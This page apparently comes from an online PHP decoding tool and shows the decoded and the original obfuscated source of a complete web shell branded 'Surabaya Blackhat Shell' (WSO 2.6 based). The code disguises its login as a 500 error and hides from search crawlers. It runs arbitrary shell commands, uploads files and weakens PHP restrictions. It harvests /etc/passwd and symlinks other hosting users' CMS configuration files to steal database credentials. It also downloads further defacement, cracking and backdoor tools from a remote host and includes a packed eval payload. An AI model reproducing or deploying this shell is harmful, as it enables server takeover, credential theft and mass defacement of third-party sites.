Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ${"G\x4c\x4fB\x41L\x53"}["\x73\x6d\x77\x71e\x72\x66c\x71\x6e\x72"]="\x63jy\x75\x67o\..
Decoded Output download
<?php ${"GLOBALS"}["smwqerfcqnr"]="cjyugouqtl";${"GLOBALS"}["ymgpdv"]="vhcoibtymil";${"GLOBALS"}["uzqjgwhegygm"]="sucweufll";${"GLOBALS"}["fbrikfubge"]="turapxlgh";${"GLOBALS"}["ctehgjeccvlo"]="qvczwdvvd";${"GLOBALS"}["wlsshqhjc"]="scnobness";${"GLOBALS"}["omoofhbp"]="wxrlkwitl";${"GLOBALS"}["txfwoikl"]="zezpcx";${"GLOBALS"}["upbdmnvxij"]="khsdwfzhrl";${"GLOBALS"}["dwuhgddpy"]="brejvuvompim";${"GLOBALS"}["huwddunbku"]="xrdvfftnx";${"GLOBALS"}["ampnlbv"]="sukrtpjga";${"GLOBALS"}["iclydsin"]="wscpkpsd";${"GLOBALS"}["yyevcqecyyz"]="fnmwedvmz";${"GLOBALS"}["xvgfgmpjnf"]="pbnspizaspl";${"GLOBALS"}["xspqhtwx"]="qssuwmtxofb";${"GLOBALS"}["zqxntuh"]="auth_pass";${"GLOBALS"}["fxbxkhnkv"]="array";${"GLOBALS"}["vpycflktc"]="default_use_ajax";${"GLOBALS"}["syytjtgbvpcj"]="color";${"GLOBALS"}["bueqsnevnxb"]="auth_pass";$josnpic="default_charset";${${"GLOBALS"}["bueqsnevnxb"]}="bdd9b8305ee6f1da2b749708fd2d2326";$twifjurcbwr="default_action";${${"GLOBALS"}["syytjtgbvpcj"]}="#00ff00";${$twifjurcbwr}="FilesMan";${${"GLOBALS"}["vpycflktc"]}=true;${$josnpic}="Windows-1251";if(!empty($_SERVER["HTTP_USER_AGENT"])){$fiepqysiv="userAgents";${$fiepqysiv}=array("Google","Slurp","MSNBot","ia_archiver","Yandex","Rambler");${"GLOBALS"}["uufaewew"]="userAgents";if(preg_match("/".implode("|",${${"GLOBALS"}["uufaewew"]})."/i",$_SERVER["HTTP_USER_AGENT"])){header("HTTP/1.0 404 Not Found");exit;}}@session_start();@ini_set("error_log",NULL);@ini_set("log_errors",0);@ini_set("max_execution_time",0);@set_time_limit(0);@set_magic_quotes_runtime(0);@define("WSO_VERSION","2.6");if(get_magic_quotes_gpc()){function WSOstripslashes($array){${"GLOBALS"}["qiblgeuufb"]="array";$xhzlfayfxqa="array";return is_array(${${"GLOBALS"}["fxbxkhnkv"]})?array_map("WSOstripslashes",${${"GLOBALS"}["qiblgeuufb"]}):stripslashes(${$xhzlfayfxqa});}$_POST=WSOstripslashes($_POST);}function wsoLogin(){die("
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
misconfiguration and was unable to complete
your request.</p>
<p>Please contact the server administrator [email protected] and inform them of the time the error occurred, and anything you might have done that may have caused the error.</p>
<p>More information about this error may be available in the server error log.</p>
<p>Additionally, a 500 Internal Server Error error was encountered while trying to use an ErrorDocument to handle the request.</p>
<style>
input { margin:0;background-color:#fff;border:1px solid #fff; }
</style>
<pre align=center>
<form method=post>
<input type=password name=pass>
</form></pre>
");}if(!isset($_SESSION[md5($_SERVER["HTTP_HOST"])])){${"GLOBALS"}["rnkpqel"]="auth_pass";if(empty(${${"GLOBALS"}["rnkpqel"]})||(isset($_POST["pass"])&&(md5($_POST["pass"])==${${"GLOBALS"}["zqxntuh"]})))$_SESSION[md5($_SERVER["HTTP_HOST"])]=true;else wsoLogin();}${"GLOBALS"}["htpalr"]="head";${${"GLOBALS"}["htpalr"]}="
<html>
<head>
<link rel="shortcut icon\" href=\"http://files.softicons.com/download/internet-cons/flag-icons-by-custom-icon-design/png/128/Indonesia-Flag.png\" />
</script>
<title>[ Surabaya Blackhat Shell ]</title>
<meta http-equiv=\"Content-Type\" content=\"text/html;
charset=UTF-8\">
<style>
body{color:#cc130c;
font-size: 12px;
font-family: serif;
background-color: black;
background-image: url(http://i647.photobucket.com/albums/uu197/MeNinBoX/background_shell_zps2094fd9a.jpg);
background-repeat: no-repeat;
background-position: bottom;
}
a {text-decoration: none;
color: #cc130c;
font-weight: bold;
}
//~ By R37N0 ~//
</style>";echo"<html>
<head>
";${"GLOBALS"}["oygmklkmuv"]="head";${"GLOBALS"}["lingngwx"]="file";echo${${"GLOBALS"}["oygmklkmuv"]};${"GLOBALS"}["vilvzizgf"]="users";${"GLOBALS"}["xiyinzvwyzvj"]="uss";${"GLOBALS"}["olepvrune"]="cmd";${"GLOBALS"}["zlhhgm"]="dir";${"GLOBALS"}["xruosd"]="b";${"GLOBALS"}["wrmbiytworb"]="rr";${"GLOBALS"}["rrndqrgxqpvw"]="consym";echo"
<table width=\"100%\" cellspacing="0\" cellpadding="0\" class=\"tb1\" ><td width="100%" align=center valign="top" rowspan=\"1\">
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<hr color=\"red"></i>
</table>
";echo"<center>
<font color=\"red" font size=3 >
<font color=\"white\" font size=3 >
<a href="?a=wso\" style=\"text-decoration: none;color:#00fa00;\">
WSO Shell </a>
<font color=\"white" font size=3 >
| </font>
<a href="?a=jic"style=\"text-decoration: none;color:#00fa00;">
Joomla Index Changer </a>
| </font>
<a href="?a=wic\"style=\"text-decoration: none;color:#00fa00;\">Wordpress Index Changer </a>
<font color=\"white" font size=3 >
| </font>
<a href="?a=cp" style=\"text-decoration: none;color:#00fa00;">Cpanel Cracker </a>
<font color=\"white\" font size=3 >
| </font>
<a href=\"?a=mcp" style=\"text-decoration: none;color:#00fa00;">Mass Deface Cpanel </a>
<font color=\"white" font size=3 >
| </font>
<a href=\"?a=md" style=\"text-decoration: none;color:#00fa00;">
Mass Deface </a>
<font color=\"white\" font size=3 >
| </font>
<br>
<a href=\"?a=b4ck\" style="text-decoration: none;color:#00fa00;\">
Backdoor </a>
<font color=\"white\" font size=3 >
| </font>
<a href="?a=jss" style="text-decoration: none;color:#00fa00;\">
Joomla Server Scanner </a>
<font color=\"white" font size=3 >
| </font>
<a href="?a=wss" style="text-decoration: none;color:#00fa00;">
Wordpress Server Scanner </a>
<font color="white\" font size=3 >
| </font>
<a href="?a=adm" style="text-decoration: none;color:#00fa00;\">
Admin Finder </a>
<font color="white" font size=3 >
| </font>
<a href=\"?a=wk" style=\"text-decoration: none;color:#00fa00;">
WHCMS Killer </a>
<font color=\"white" font size=3 >
| </font>
<br>
<a href="?a=cd" style=\"text-decoration: none;color:#00fa00;\">
CMS Detector & Symlink </a>
<font color="white\" font size=3 >
| </font>
<a href="?a=mpc" style="text-decoration: none;color:#00fa00;">
Mass Password Canger </a>
<font color=\"white\" font size=3 >
| </font>
<a href=\"?a=sql" style=\"text-decoration: none;color:#00fa00;">SQL Login </a>
<font color="white\" font size=3 >
| </font>
<a href=\"?a=zone" style="text-decoration: none;color:#00fa00;\">
Zone-H</a>
<font color="white" font size=3 >
| </font>
</font><hr color="red\">
";eval(pack("H*","6576616C286261736536345F6465636F646528274A4856796244306B58314E46556C5A46556C736E534652555546394954314E554A3130754A46395452564A5752564A624A314A46555656465531526656564A4A4A313037436D31686157776F4A3270316333527A6158527459584E305A584A415A32316861577775593239744A79776B58314E46556C5A46556C736E55305653566B5653583046455246496E5853776B64584A734B54734B4A474A686332566664584A73494430674A326830644841364C79386E4C69526655305653566B56535779645452564A5752564A66546B464E525364644C6D5270636D35686257556F4A46395452564A5752564A624A314E44556B6C515646394F515531464A3130704F772729293B"));if($_GET[a]=="jic"){$rdvlpiwo="iwdqurv";${"GLOBALS"}["bilirdasqhyu"]="b";$unybsdwtx="iwdqurv";${$unybsdwtx}="b";${"GLOBALS"}["snmixmmru"]="file";${${"GLOBALS"}["snmixmmru"]}=file_get_contents("https://surabayablackhat.googlecode.com/files/joomlaindexchanger.txt");${${"GLOBALS"}["bilirdasqhyu"]}=fopen("jic.php","w");${${"GLOBALS"}["xspqhtwx"]}="b";fwrite(${${$rdvlpiwo}},${${"GLOBALS"}["lingngwx"]});fclose(${${${"GLOBALS"}["xspqhtwx"]}});print"<center><font color="white">Done Shell Name <a href="jic.php\"><blink><font color=red>jic.php</font></blink></a> ";}if($_GET[a]=="wic"){${"GLOBALS"}["combgdojssf"]="pbnspizaspl";${"GLOBALS"}["kyppxblslg"]="b";${"GLOBALS"}["cfdtawh"]="file";${${"GLOBALS"}["combgdojssf"]}="file";${${${"GLOBALS"}["xvgfgmpjnf"]}}=file_get_contents("https://surabayablackhat.googlecode.com/files/wordpressindexchanger.txt");${${"GLOBALS"}["yyevcqecyyz"]}="b";${${${"GLOBALS"}["yyevcqecyyz"]}}=fopen("wic.php","w");${${"GLOBALS"}["iclydsin"]}="b";fwrite(${${"GLOBALS"}["kyppxblslg"]},${${"GLOBALS"}["cfdtawh"]});fclose(${${${"GLOBALS"}["iclydsin"]}});print"<center><font color=\"white\">Done Shell Name <a href="wic.php"><blink><font color=red>wic.php</font></blink></a> ";}if($_GET[a]=="cp"){${"GLOBALS"}["xphrjjmd"]="b";${${"GLOBALS"}["lingngwx"]}=file_get_contents("https://surabayablackhat.googlecode.com/files/sbhcpc.txt");${"GLOBALS"}["csugorzbyd"]="b";${${"GLOBALS"}["csugorzbyd"]}=fopen("cp.php","w");fwrite(${${"GLOBALS"}["xphrjjmd"]},${${"GLOBALS"}["lingngwx"]});${"GLOBALS"}["wevylisfsde"]="b";fclose(${${"GLOBALS"}["wevylisfsde"]});print"<center><font color=\"white\">Done Shell Name <a href=\"cp.php"><blink><font color=red>cp.php</font></blink></a> ";}if($_GET[a]=="mcp"){${"GLOBALS"}["ajtpshkzo"]="file";${"GLOBALS"}["qqyuywmoh"]="b";${${"GLOBALS"}["ajtpshkzo"]}=file_get_contents("https://surabayablackhat.googlecode.com/files/masscp.txt");${${"GLOBALS"}["xruosd"]}=fopen("masscp.php","w");fwrite(${${"GLOBALS"}["qqyuywmoh"]},${${"GLOBALS"}["lingngwx"]});fclose(${${"GLOBALS"}["xruosd"]});print"<center><font color="white\">Done Shell Name <a href="masscp.php\"><blink><font color=red>masscp.php</font></blink></a> ";}if($_GET[a]=="sql"){${"GLOBALS"}["jeramtq"]="file";${${"GLOBALS"}["jeramtq"]}=file_get_contents("https://surabayablackhat.googlecode.com/files/sqllogin.txt");${${"GLOBALS"}["xruosd"]}=fopen("sql.php","w");fwrite(${${"GLOBALS"}["xruosd"]},${${"GLOBALS"}["lingngwx"]});fclose(${${"GLOBALS"}["xruosd"]});print"<center><font color="white">Done Shell Name <a href=\"sql.php\"><blink><font color=red>sql.php</font></blink></a> ";}if($_GET[a]=="b4ck"){${${"GLOBALS"}["lingngwx"]}=file_get_contents("https://surabayablackhat.googlecode.com/files/b4ck.txt");${"GLOBALS"}["nugtilxgzcc"]="xrdvfftnx";${"GLOBALS"}["bmhgxosku"]="b";${${"GLOBALS"}["ampnlbv"]}="b";${${"GLOBALS"}["nugtilxgzcc"]}="file";${${"GLOBALS"}["bmhgxosku"]}=fopen("b4ck.php","w");fwrite(${${${"GLOBALS"}["ampnlbv"]}},${${${"GLOBALS"}["huwddunbku"]}});fclose(${${"GLOBALS"}["xruosd"]});print"<center><font color=\"white\">Done Shell Name <a href="b4ck.php\"><blink><font color=red>b4ck.php</font></blink></a> ";}if($_GET[a]=="jss"){${"GLOBALS"}["idsopcmasme"]="khsdwfzhrl";${"GLOBALS"}["ksmivvo"]="brejvuvompim";${${"GLOBALS"}["dwuhgddpy"]}="file";${${${"GLOBALS"}["ksmivvo"]}}=file_get_contents("https://surabayablackhat.googlecode.com/files/jss.txt");${${"GLOBALS"}["idsopcmasme"]}="b";${${"GLOBALS"}["xruosd"]}=fopen("jss.php","w");fwrite(${${${"GLOBALS"}["upbdmnvxij"]}},${${"GLOBALS"}["lingngwx"]});fclose(${${"GLOBALS"}["xruosd"]});print"<center><font color="white">Done Shell Name <a href="jss.php"><blink><font color=red>jss.php</font></blink></a> ";}if($_GET[a]=="wss"){${"GLOBALS"}["ijaebuf"]="b";${${"GLOBALS"}["lingngwx"]}=file_get_contents("https://surabayablackhat.googlecode.com/files/wss.txt");${${"GLOBALS"}["xruosd"]}=fopen("wss.php","w");fwrite(${${"GLOBALS"}["xruosd"]},${${"GLOBALS"}["lingngwx"]});fclose(${${"GLOBALS"}["ijaebuf"]});print"<center><font color="white">Done Shell Name <a href="wss.php"><blink><font color=red>wss.php</font></blink></a> ";}${"GLOBALS"}["yvpqdh"]="rs";if($_GET[a]=="adm"){${${"GLOBALS"}["lingngwx"]}=file_get_contents("https://surabayablackhat.googlecode.com/files/adm.txt");${"GLOBALS"}["vjsciutrpokr"]="file";${${"GLOBALS"}["xruosd"]}=fopen("adm.php","w");fwrite(${${"GLOBALS"}["xruosd"]},${${"GLOBALS"}["vjsciutrpokr"]});fclose(${${"GLOBALS"}["xruosd"]});print"<center><font color="white\">Done Shell Name <a href=\"adm.php\"><blink><font color=red>adm.php</font></blink></a> ";}if($_GET[a]=="wk"){$wrmyjkbcok="wxrlkwitl";${${"GLOBALS"}["txfwoikl"]}="b";${${"GLOBALS"}["lingngwx"]}=file_get_contents("https://surabayablackhat.googlecode.com/files/whcmskiller.txt");${"GLOBALS"}["ylbmrunzcsri"]="b";${"GLOBALS"}["rwmofiszsce"]="file";${${"GLOBALS"}["ylbmrunzcsri"]}=fopen("wk.php","w");${$wrmyjkbcok}="b";fwrite(${${${"GLOBALS"}["omoofhbp"]}},${${"GLOBALS"}["rwmofiszsce"]});fclose(${${${"GLOBALS"}["txfwoikl"]}});print"<center><font color="white">Done Shell Name <a href=\"wk.php"><blink><font color=red>wk.php</font></blink></a> ";}if($_GET[a]=="md"){${"GLOBALS"}["massdeface"]="file";${"GLOBALS"}["massdeface1"]="b";${${"GLOBALS"}["massdeface"]}=file_get_contents("https://surabayablackhat.googlecode.com/files/massdeface.txt");${${"GLOBALS"}["xruosd"]}=fopen("md.php","w");fwrite(${${"GLOBALS"}["massdeface1"]},${${"GLOBALS"}["lingngwx"]});fclose(${${"GLOBALS"}["xruosd"]});print"<center><font color=\"white">Done Shell Name <a href="md.php\"><blink><font color=red>md.php</font></blink></a> ";}if($_GET[a]=="cd"){${"GLOBALS"}["cmsdetect"]="file";${"GLOBALS"}["cmsdetect1"]="b";${${"GLOBALS"}["cmsdetect"]}=file_get_contents("https://surabayablackhat.googlecode.com/files/cmsdetector.txt");${${"GLOBALS"}["xruosd"]}=fopen("cd.php","w");fwrite(${${"GLOBALS"}["cmsdetect1"]},${${"GLOBALS"}["lingngwx"]});fclose(${${"GLOBALS"}["xruosd"]});print"<center><font color=\"white">Done Shell Name <a href="cd.php"><blink><font color=red>cd.php</font></blink></a> ";}if($_GET[a]=="mpc"){${"GLOBALS"}["masspasschange"]="file";${"GLOBALS"}["masspasschange1"]="b";${${"GLOBALS"}["masspasschange"]}=file_get_contents("https://surabayablackhat.googlecode.com/files/masspasschange.txt");${${"GLOBALS"}["xruosd"]}=fopen("mpc.php","w");fwrite(${${"GLOBALS"}["masspasschange1"]},${${"GLOBALS"}["lingngwx"]});fclose(${${"GLOBALS"}["xruosd"]});print"<center><font color="white\">Done Shell Name <a href=\"mpc.php\"><blink><font color=red>mpc.php</font></blink></a> ";}if($_GET[a]=="wso"){${"GLOBALS"}["wsoshell"]="file";${"GLOBALS"}["wsoshell1"]="b";${${"GLOBALS"}["wsoshell"]}=file_get_contents("https://surabayablackhat.googlecode.com/files/wso_sbh.txt");${${"GLOBALS"}["xruosd"]}=fopen("wso.php","w");fwrite(${${"GLOBALS"}["wsoshell1"]},${${"GLOBALS"}["lingngwx"]});fclose(${${"GLOBALS"}["xruosd"]});print"<center><font color="white">Done Shell Name <a href=\"wso.php"><blink><font color=red>wso.php</font></blink></a> ";}if($_GET[a]=="zone"){${"GLOBALS"}["safemodeoff"]="file";${"GLOBALS"}["safemodeoff1"]="b";${${"GLOBALS"}["safemodeoff"]}=file_get_contents("https://surabayablackhat.googlecode.com/files/zone-h.txt");${${"GLOBALS"}["xruosd"]}=fopen("zone-h.php","w");fwrite(${${"GLOBALS"}["safemodeoff1"]},${${"GLOBALS"}["lingngwx"]});fclose(${${"GLOBALS"}["xruosd"]});print"<center><font color="white">Done Bypass Name <a href="zone-h.php\"><blink><font color=red>zone-h.php</font></blink></a> ";}echo"<font face="Verdana" size="2">
<center>Uname-a : <font color="#808080">".php_uname()."
<br>
";${"GLOBALS"}["iecene"]="r";echo"<center><form action=\"\" method="post\" enctype="multipart/form-data" name=\"uploader\" id="uploader">";echo"<center><input type=\"file" name="file" size=\"50\"><input name="_upl" type="submit" id=\"_upl\" value="Upload"></form></center>";${"GLOBALS"}["lsqtxan"]="c";if($_POST["_upl"]=="Upload"){if(@copy($_FILES["file"]["tmp_name"],$_FILES["file"]["name"])){echo"<p align="center"><font face=\"Verdana" size=\"1\"><font color="white\"> Done ! </font><br>";}else{echo"<font color=\"#FF0000\">Failed ! </font></p>
";}}${"GLOBALS"}["clgqebi"]="cmd";${"GLOBALS"}["ffasfr"]="sbh";${"GLOBALS"}["yjhokvicis"]="rt";${"GLOBALS"}["bwdciydca"]="usr";echo"</body><hr color=\"red">
<body text=red>
<form method=POST><pre>[root@";${"GLOBALS"}["vrvzohkzrybo"]="f";echo$_SERVER["SERVER_NAME"];echo" ~] # <input type=TEXT name="-cmd" size=64 value="";echo${${"GLOBALS"}["olepvrune"]};echo"\"
style="font-family: Courier New;
">
</center>
";${${"GLOBALS"}["olepvrune"]}=$_REQUEST["-cmd"];echo"
";if(${${"GLOBALS"}["olepvrune"]}!="")print Shell_Exec(${${"GLOBALS"}["clgqebi"]});echo"</pre><hr color="red"><center><font size=1>
<center>
<form method=post><input type=submit name=ini value=\"PHP.INI" />
<form method=post><input type=submit name="usre" value="CRACKER\" /></form></form>
";${"GLOBALS"}["myuituvujj"]="g";${"GLOBALS"}["cgoqobxyhn"]="link";if(isset($_POST["ini"])){${"GLOBALS"}["vumukwwekk"]="r";${${"GLOBALS"}["iecene"]}=fopen("php.ini","w");${${"GLOBALS"}["wrmbiytworb"]}=" disable_functions=none
safe_mode = OFF
safe_mode_gid = OFF
open_basedir = OFF
allow_url_fopen = On ";${"GLOBALS"}["mtmpvsn"]="rr";fwrite(${${"GLOBALS"}["vumukwwekk"]},${${"GLOBALS"}["mtmpvsn"]});${"GLOBALS"}["yepsjevx"]="link";${${"GLOBALS"}["cgoqobxyhn"]}="<br><a href=php.ini><font color=white size=2 face=\"TAHOMA\"><u><font color=red>DONE</font> Open this link in new tab to run PHP.INI</u></font></a>";echo${${"GLOBALS"}["yepsjevx"]};}${"GLOBALS"}["rlkuqrmvwsl"]="configuration";if(isset($_POST["usre"])){${"GLOBALS"}["xtuocbxrt"]="users";$hgnvybz="scnobness";${$hgnvybz}="user";echo"<form method=post>
<textarea rows=10 cols=50 name=user>";${${"GLOBALS"}["xtuocbxrt"]}=file("/etc/passwd");foreach(${${"GLOBALS"}["vilvzizgf"]}as${${${"GLOBALS"}["wlsshqhjc"]}}){${${"GLOBALS"}["ctehgjeccvlo"]}="str";${${"GLOBALS"}["fbrikfubge"]}="str";${"GLOBALS"}["nuuevriguv"]="user";${${${"GLOBALS"}["ctehgjeccvlo"]}}=explode(":",${${"GLOBALS"}["nuuevriguv"]});echo${${${"GLOBALS"}["fbrikfubge"]}}[0]."
";}echo"</textarea><br><br>
<input type=submit name=su value=\"Click Here To Start" /></form>
";}echo"";error_reporting(0);echo"<font color=red size=2 face="TAHOMA">";if(isset($_POST["su"])){${${"GLOBALS"}["uzqjgwhegygm"]}="g";$ydwsze="sucweufll";mkdir("sbh",0777);${${"GLOBALS"}["wrmbiytworb"]}=" Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any
OPTIONS Indexes Includes ExecCGI FollowSymLinks
AddHandler txt .php
AddHandler cgi-script .cgi
AddHandler cgi-script .pl
Options Indexes FollowSymLinks
AddType txt .php
AddType text/html .shtml";${${$ydwsze}}=fopen("sbh/.htaccess","w");fwrite(${${"GLOBALS"}["myuituvujj"]},${${"GLOBALS"}["wrmbiytworb"]});${${"GLOBALS"}["ffasfr"]}=symlink("/","sbh/root");${"GLOBALS"}["lbruxwcmxuf"]="r";${${"GLOBALS"}["yjhokvicis"]}="<br>Check this folder<a href=sbh/root><font color=white size=3 face="TAHOMA\"> root </font></a><font color=red size=3 face="TAHOMA\"> ~ </font>";${"GLOBALS"}["etummhd"]="f";echo"<u>$rt</u>";${${"GLOBALS"}["zlhhgm"]}=mkdir("SBH",0777);${${"GLOBALS"}["iecene"]}=" Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any
OPTIONS Indexes Includes ExecCGI FollowSymLinks
AddHandler txt .php
AddHandler cgi-script .cgi
AddHandler cgi-script .pl
Options Indexes FollowSymLinks
AddType txt .php
AddType text/html .shtml";${${"GLOBALS"}["vrvzohkzrybo"]}=fopen("SBH/.htaccess","w");fwrite(${${"GLOBALS"}["etummhd"]},${${"GLOBALS"}["lbruxwcmxuf"]});${${"GLOBALS"}["rrndqrgxqpvw"]}="<a href=SBH/>Check this folder<font color=white size=3 face="TAHOMA\"> configs </font></a>";echo"<u>$consym</u>";${${"GLOBALS"}["bwdciydca"]}=explode("
",$_POST["user"]);${${"GLOBALS"}["rlkuqrmvwsl"]}=array("wp-config.php","wordpress/wp-config.php","configuration.php","blog/wp-config.php","joomla/configuration.php","site/wp-config.php","site/configuration.php","cms/configuration.php","vb/includes/config.php","includes/config.php","conf_global.php","inc/config.php","config.php","Settings.php","sites/default/settings.php","whm/configuration.php","whmcs/configuration.php","support/configuration.php","whmc/WHM/configuration.php","whm/WHMCS/configuration.php","whm/whmcs/configuration.php","support/configuration.php","clients/configuration.php","client/configuration.php","clientes/configuration.php","cliente/configuration.php","clientsupport/configuration.php","billing/configuration.php","admin/config.php","adm/config.php","cms/config.php","includes/config.php");foreach(${${"GLOBALS"}["bwdciydca"]}as${${"GLOBALS"}["xiyinzvwyzvj"]}){${"GLOBALS"}["urylnnnsidug"]="us";${"GLOBALS"}["ponpeno"]="configuration";${"GLOBALS"}["zkrwkjlrda"]="c";${${"GLOBALS"}["urylnnnsidug"]}=trim(${${"GLOBALS"}["xiyinzvwyzvj"]});foreach(${${"GLOBALS"}["ponpeno"]}as${${"GLOBALS"}["zkrwkjlrda"]}){${"GLOBALS"}["lstetv"]="vhcoibtymil";${${"GLOBALS"}["lstetv"]}="us";${${"GLOBALS"}["yvpqdh"]}="/home/".${${${"GLOBALS"}["ymgpdv"]}}."/public_html/".${${"GLOBALS"}["lsqtxan"]};${${"GLOBALS"}["smwqerfcqnr"]}="us";${${"GLOBALS"}["iecene"]}="SBH/".${${${"GLOBALS"}["smwqerfcqnr"]}}." -- ".${${"GLOBALS"}["lsqtxan"]};symlink(${${"GLOBALS"}["yvpqdh"]},${${"GLOBALS"}["iecene"]});}}}echo"<hr color="red\">
</html>
";echo "<table width=50% align=center style='border:1px green solid'> <tr><td align=center><font face=Tahoma size=2 color=red> <b>SBHShell_V2.0 Recoded by MeNinBoX </b><br/ ><b>Thanks to</span></b> My Keyboard, SBH Crew & All My Friends<br/ > Special greats to <b>Gabby</b> thanks for your help<br/ >SurabayaBlackHat Team</font></td></tr></table>
<table width=50% align=center style='border:1px green solid'> <tr><td align=center> <div align='center' style='background-color: #008000'><font color='#FFFFFF'>Learn To Be Better</font></div><div align='center' style='background-color: #008000'><font color='#FFFFFF'>\"Surabaya BlackHat\"</font></div></td></tr></table>
</div>
</body>
</html>
";
?>
Did this file decode correctly?
Original Code
<?php ${"G\x4c\x4fB\x41L\x53"}["\x73\x6d\x77\x71e\x72\x66c\x71\x6e\x72"]="\x63jy\x75\x67o\x75\x71\x74l";${"GL\x4fB\x41\x4c\x53"}["\x79mg\x70\x64v"]="v\x68\x63\x6fi\x62\x74\x79m\x69l";${"\x47\x4c\x4fB\x41\x4cS"}["\x75\x7a\x71\x6a\x67w\x68e\x67\x79g\x6d"]="\x73\x75\x63\x77e\x75\x66\x6cl";${"G\x4c\x4f\x42A\x4cS"}["f\x62\x72\x69\x6bf\x75\x62\x67\x65"]="\x74u\x72\x61pxlgh";${"\x47\x4c\x4fB\x41\x4c\x53"}["\x63t\x65\x68\x67j\x65cc\x76\x6co"]="q\x76czwd\x76\x76d";${"\x47L\x4fB\x41\x4cS"}["\x77\x6cs\x73\x68\x71\x68j\x63"]="s\x63\x6e\x6fb\x6e\x65ss";${"\x47\x4cOB\x41\x4c\x53"}["o\x6doo\x66\x68\x62\x70"]="\x77\x78\x72\x6c\x6b\x77itl";${"\x47\x4c\x4fBA\x4cS"}["t\x78f\x77\x6f\x69\x6b\x6c"]="ze\x7apcx";${"G\x4cOB\x41\x4cS"}["\x75pbd\x6dn\x76xij"]="k\x68\x73d\x77fz\x68r\x6c";${"\x47\x4c\x4f\x42A\x4c\x53"}["\x64\x77\x75hg\x64\x64\x70y"]="b\x72\x65\x6a\x76\x75\x76o\x6d\x70\x69m";${"\x47LO\x42AL\x53"}["\x68\x75\x77\x64\x64\x75\x6e\x62\x6b\x75"]="\x78\x72\x64vf\x66\x74\x6e\x78";${"G\x4c\x4f\x42\x41\x4cS"}["\x61\x6d\x70\x6e\x6c\x62\x76"]="su\x6b\x72\x74\x70jga";${"G\x4c\x4fB\x41\x4cS"}["\x69\x63ly\x64si\x6e"]="\x77s\x63\x70k\x70s\x64";${"\x47\x4c\x4fB\x41L\x53"}["\x79y\x65\x76\x63\x71\x65\x63y\x79\x7a"]="\x66\x6e\x6d\x77\x65\x64vm\x7a";${"\x47\x4cO\x42\x41\x4c\x53"}["x\x76g\x66g\x6dp\x6a\x6ef"]="\x70\x62\x6e\x73\x70\x69zas\x70\x6c";${"GLOB\x41\x4c\x53"}["\x78\x73\x70\x71\x68\x74\x77x"]="\x71ss\x75\x77\x6d\x74x\x6ff\x62";${"\x47\x4c\x4f\x42A\x4cS"}["z\x71xn\x74u\x68"]="\x61\x75\x74\x68\x5f\x70\x61ss";${"\x47\x4c\x4fB\x41\x4cS"}["\x66x\x62\x78kh\x6e\x6bv"]="\x61\x72r\x61\x79";${"\x47\x4c\x4f\x42\x41LS"}["\x76\x70y\x63fl\x6b\x74\x63"]="\x64\x65f\x61\x75\x6c\x74\x5fuse\x5fa\x6aax";${"\x47\x4c\x4fBA\x4c\x53"}["\x73\x79\x79t\x6a\x74g\x62\x76p\x63\x6a"]="\x63\x6f\x6c\x6f\x72";${"\x47\x4cOBA\x4c\x53"}["\x62\x75e\x71s\x6e\x65\x76n\x78\x62"]="\x61\x75th\x5f\x70a\x73s";$josnpic="d\x65\x66\x61u\x6c\x74\x5fc\x68\x61\x72se\x74";${${"GLO\x42\x41\x4cS"}["\x62\x75\x65q\x73\x6e\x65\x76\x6e\x78\x62"]}="bd\x649b\x38\x33\x305e\x656f1\x64a2b7\x349708f\x64\x32\x64\x32\x3326";$twifjurcbwr="\x64\x65f\x61\x75\x6ct\x5f\x61c\x74\x69\x6f\x6e";${${"\x47L\x4fB\x41\x4cS"}["\x73y\x79\x74j\x74\x67b\x76\x70\x63\x6a"]}="\x2300ff\x300";${$twifjurcbwr}="\x46i\x6c\x65\x73Man";${${"GLOBAL\x53"}["\x76\x70\x79\x63\x66\x6ck\x74\x63"]}=true;${$josnpic}="\x57\x69ndo\x77\x73-1251";if(!empty($_SERVER["HTT\x50_\x55S\x45\x52_A\x47\x45\x4e\x54"])){$fiepqysiv="\x75s\x65\x72\x41\x67e\x6e\x74s";${$fiepqysiv}=array("Go\x6f\x67le","Slur\x70","MS\x4e\x42ot","ia\x5f\x61r\x63hiv\x65\x72","Y\x61n\x64e\x78","R\x61\x6d\x62\x6cer");${"G\x4cOB\x41LS"}["u\x75\x66a\x65\x77\x65\x77"]="u\x73e\x72\x41\x67e\x6et\x73";if(preg_match("/".implode("|",${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x75\x75\x66\x61\x65w\x65w"]})."/\x69",$_SERVER["HT\x54P_USER\x5fAG\x45NT"])){header("\x48T\x54P/\x31.\x30\x20\x3404\x20\x4e\x6f\x74 Fo\x75\x6e\x64");exit;}}@session_start();@ini_set("e\x72\x72or_\x6co\x67",NULL);@ini_set("log\x5f\x65rr\x6frs",0);@ini_set("\x6da\x78_\x65xe\x63u\x74i\x6fn_ti\x6de",0);@set_time_limit(0);@set_magic_quotes_runtime(0);@define("WSO\x5fVER\x53IO\x4e","\x32\x2e6");if(get_magic_quotes_gpc()){function WSOstripslashes($array){${"\x47\x4c\x4fBA\x4c\x53"}["\x71\x69\x62\x6cg\x65\x75u\x66\x62"]="ar\x72\x61\x79";$xhzlfayfxqa="\x61rr\x61\x79";return is_array(${${"G\x4c\x4fB\x41\x4cS"}["\x66x\x62x\x6bh\x6e\x6b\x76"]})?array_map("\x57\x53\x4fstri\x70sl\x61sh\x65\x73",${${"G\x4c\x4fBA\x4cS"}["q\x69b\x6cg\x65\x75uf\x62"]}):stripslashes(${$xhzlfayfxqa});}$_POST=WSOstripslashes($_POST);}function wsoLogin(){die("\n<\x74it\x6ce\x3e5\x30\x30\x20\x49\x6e\x74\x65\x72n\x61\x6c\x20Serve\x72\x20E\x72\x72\x6fr</\x74i\x74\x6ce\x3e\n<\x68\x31\x3eInte\x72nal\x20\x53\x65\x72\x76\x65\x72\x20\x45\x72\x72\x6f\x72</\x681>\n<p>\x54h\x65 se\x72\x76e\x72\x20e\x6e\x63oun\x74\x65\x72ed\x20an i\x6e\x74e\x72\x6eal e\x72ro\x72 